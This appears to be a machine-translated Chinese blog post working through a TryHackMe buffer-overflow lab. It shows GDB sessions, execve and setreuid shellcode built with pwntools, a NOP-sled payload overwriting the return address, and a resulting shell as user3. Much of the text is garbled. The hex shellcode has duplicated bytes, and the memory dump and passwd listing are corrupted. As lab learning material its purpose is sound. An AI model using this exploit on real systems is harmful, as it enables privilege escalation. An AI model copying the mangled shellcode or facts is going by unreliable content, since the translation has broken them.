(GDB)运行$(Python -c“ print('a''*170)”)已启动该程序。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-4/buffer-overflow-2 $(python -c“ print('a'a'*170)”)新单词是doggoaaaaaaaa aprog signle signigsegv,segmentation nable semmentation nable。 concat_arg()中的0x000000004005AB

我正在做太多的事情,所以我正在使用其他地址。
现在,我们知道6个字节从164到169是返回地址。

ShellCode的十六进制版本与以前相同。

\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x69 \ x69 \ x6e \ x6e \ x2f \ x2f \ x73 \ x68 \ x68 \ x68 \ x49 \ x49 \ xc1 \ xc1 \ xc1 \ xe8 \ xe8 \ x08 \ x08 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ xe6 \ xe6 \ x0f \ x05 \ x6a \ x6a \ x3c \ x3c \ x58 \ x58 \ x48 \ x48 \ x48 \ x31 \ x31 \ x31 \ x31 \ xff \ x0f \ x0f \ x05 x05 x05

为了检查此Secret.TXT,它必须是user3,因此我还将添加setReuid()代码。
首先,让我们检查用户3的UID。

[user1@ip-10-10-232-238 overflow-4]$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rpc:x:32:32:Rpcbind守护程序:/var/lib/rpcbind:/sbin/nologin libstoragemgmt:x:999:997:libstoragemgmt:/var/var/run/run/lsm:/sbin/sbin/nologin sshd:x:x:x:74:74:74:74:/ssh:/ssh:/ RPCUSER:X:29:29:RPC服务用户:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:65534:匿名nfs nfs user:/var/lib/lib/nfs:/sbin/sbin/nologin/nologin EC2-INSANCE-CONNECT:X:998:996 ::/HOME/EC2-INSANCE-CONNECT:/SBIN/NOLOGIN POSTFIX:X:89:89:89 ::/var/var/spool/postfix:/sbin/nologin Chrony:X:x:x:997:997:995 ::/var/var/var/lib/lib/chrony:/ tcpdump:x:72:72 ::/sbin/nologin ec2-user:x:1000:1000:ec2默认用户:/home/ec2-user:/bin/bash user1:x:x:1001 ::/home/home/home/user 1:/ USER3:X:1003:1003 ::/HOME/USER3:/BIN/BASH

用户3的UID为1003。
使用PWNTOOLS,我们将为SetReuid()部分生成十六进制代码。

(hacklab㉿hacklab) -  [〜]└─$ pwn shellcraft -fd amd64.linux.setreuid 1003 \ x31 \ xff \ xff \ x66 \ xbf \ xeb \ x03 \ x03 \ x66a \ x71 \ x71 \ x71 \ x58 \ x58 \ x48 \ x48 \ x48 \ x89 \ x5 \ x5 \ xfe xfe x5 \ x5 \ x5 \ x5 \ x59 \ x5 \ x5 \ x5 \ x59 \ x5 \ x5 \ x5 \ x5 \ x5 \ x5 \ x59

最终代码看起来像这样:
总计54个字节。

\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x71 \ x58 \ x48 \ x48 \ x89 \ xfe \ x0f \ x0f \ x 05 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x2f \ x62 \ x69 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x41 \ x50 \ x48 \ x48 \ x89 \ xe7 \ xe7 \ x52 \ x 57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x48 \ x31 \ x31 \ xff \ x0f \ x0f \ x05

接下来,我们将查找十六进制外壳的地址。
确保垃圾(87 Byte) + shellCode(54 byte) +垃圾(22byte) +返回地址(6byte)= 169 byte。
在ShellCode之前的垃圾中,提前添加NOP(\ X90)。

(gdb)运行$(Python -C”打印'\ x90'*87+'\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x6a \ x71 \ x71 \ x58 \ x48 \ x48 \ x89 \ xfe \ x0f \ x05 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x41 \ x50 \ x48 \ x48 \ x89 \ xe7 \ x52 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x3c \ x58 \ x31 \ xff \ xff \ x0f \ x05'+'a'a'a'*22+'b'*6”)该计划已启动。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-4/buffer-overflow-2 $(python -c”打印'\ x90'*87+'\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x6a \ x71 \ x71 \ x58 \ x48 \ x48 \ x89 \ xfe \ x0f \ x05 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x41 \ x50 \ x48 \ x48 \ x89 \ xe7 \ x52 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x3c \ x58 \ x31 \ xff \ xff \ x0f \ x05'+'a'a'a'*22+'b'*6”)新词是doggo。

返回地址为“ B”,因此充满了“ 42”。
转换内存位置。

(GDB)X/100X $ RSP-20000 0x7FFFFFFFEFFE218:0X004005A9 0X000000000 0XF7FFFA268 0X000000007FFFFFFFFFFFFFFFFFFFFFEFFE228:0x00007FFFFFFFFFFFFFFFFFEE63A 0X00007FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0FFFE6FFFER 0X909090909090909090909090909090909090909090909090909090909090909090年 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffe248: 0x90909090 0x909090 0x7fffffffffe248: 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x7fffffffe258:0x909090 0x90909090909090909090909090909090909090909090909090090900X7FFFFFFFFFFFFFFFFFEFFEFFEFFEFFEFFEFFEFFE268:0X9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090900分段 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0xbf66ff31 0x716a03eb 0xfe894858 0x7fffffffffe298:0x3b6a050f 0xd2314858 0x2f2f2fb849 0x2f6e6962 0x7fffffffe2a8:0xc11496873 0x504108E8 0x504108E80x52E77888888048880488889898989898989888988888888888888888888888888889888989888898999999899999999999意范 0x7fffffffe2b8: 0x3c6a050f 0xff314858 0x4141050f 0x414141 0x7fffffffe2c8: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2d8: 0x424242 0x00004242 0xfffffe3d8 0x00007ffff 0x7fffffffe2e8: 0x0000000 0x0000002 0x004005e0 0x0000000 0x7fffffffe2f8: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe308: 0xffffe3d8 0x00007ffff 0x000040000 0x0000002 0x7fffffffffffe318:0x004005AC 0x000000000000000000000000000000000000000000000000000000000000000000000000来 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0xc97bf356 0xd6147f68 0x7fffffffe358: 0x50bff356 0xd6146fdf 0x000000 0x000000 0x7fffffffe368: 0x0000000 0x000000 0x0000000 0x0000000 0x7fffffffe378: 0xfffffe3f0 0x000007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe388: 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7FFFFFFFFFE398:0x000000 0x0000000 0x0000000

0x7fffffffe288的第二列中有一个外壳。

在您填充NOP的任何地方都可以,但是这次,让我们制作“ 0x7fffffffe288”返回目的地。
将B设置为返回地址:0x7FFFFFFFE288⇒0X88E2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F⇒\ X88 \ XE2 \ XFF \ XFF \ XFF \ XFF \ XFF \ XFF \ X7F。

[user1@ip-10-10-10-232-238 Overflow-4] $ ./buffer-overflow-2 $(python -c”打印'\ x90'*87+'\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x6a \ x71 \ x71 \ x58 \ x48 \ x48 \ x89 \ xfe \ xfe \ x0f \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x2f \ x62 \ x69 \ x69 \ x6e \ x2f \ x2f \ x2f \ x73 \ x68 \ x68 \ x68 \ x68 x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ xe6 \ xe6 \ x0f x0f \ x05 \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05'+'a'a'*22+'\ x88 \ xe2 \ xff \ xff \ xff \ xff \ xff \ xff \ x7f \ x7f'”)新词是doggo。

我能够成功获得用户3的外壳。
最后,检查secret.txt。

sh-4.2 $ cat secret.txt wowanothertime!

回答

概括

这次,我实际上尝试了缓冲区溢出。
老实说,我仍然不了解记忆的机制,但我认为我了解如何溢出。

参考和站点

Bob Loblaw博客: https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
l1ge l1ge的机舱: https://l1ge.github.io/tryhackme_bof1/

如果愿意,请分享!

谁写了这篇文章

这是我开始研究信息安全的博客。作为一名新员工,如果您能宽阔地看着,我会很高兴。
还有Teech Lab,这是一个学习编程乐趣的机会,因此,如果您对软件开发感兴趣,请务必看看!

目录